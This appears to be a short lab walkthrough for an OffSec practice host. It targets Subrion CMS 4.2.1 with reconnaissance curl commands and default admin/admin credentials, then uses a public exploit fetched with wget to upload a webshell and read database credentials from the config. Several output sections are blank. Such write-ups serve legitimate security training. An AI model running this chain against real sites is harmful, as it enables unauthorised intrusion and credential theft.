Subrion CMS
Subrion CMS 4.2.1 can lead to authenticated file upload RCE when valid admin credentials are available.
Discovery
Check robots.txt and the admin panel:
curl http://exfiltrated.offsec/robots.txt
curl http://exfiltrated.offsec/panel/Useful indicators from /panel/:
intelli.config.admin_url = 'http://exfiltrated.offsec/panel';
Powered by Subrion CMS v4.2.1Default Credentials
Try the default admin login:
Username: admin
Password: adminAuthenticated Upload RCE
Subrion CMS 4.2.1 has an authenticated file upload bypass to RCE path.
wget https://raw.githubusercontent.com/Swammers8/SubrionCMS-4.2.1-File-upload-RCE-auth-/refs/heads/main/exploit.py
python3 exploit.py -u http://exfiltrated.offsec/panel -l admin -p adminSuccessful output should show login and webshell upload:
The shell lands as the web user:
Subrion Config and Database
Check the Subrion config for local database credentials:
Useful values:
Enumerate the database:
The admin account may confirm the web login path:
References
https://github.com/Swammers8/SubrionCMS-4.2.1-File-upload-RCE-auth-
Last updated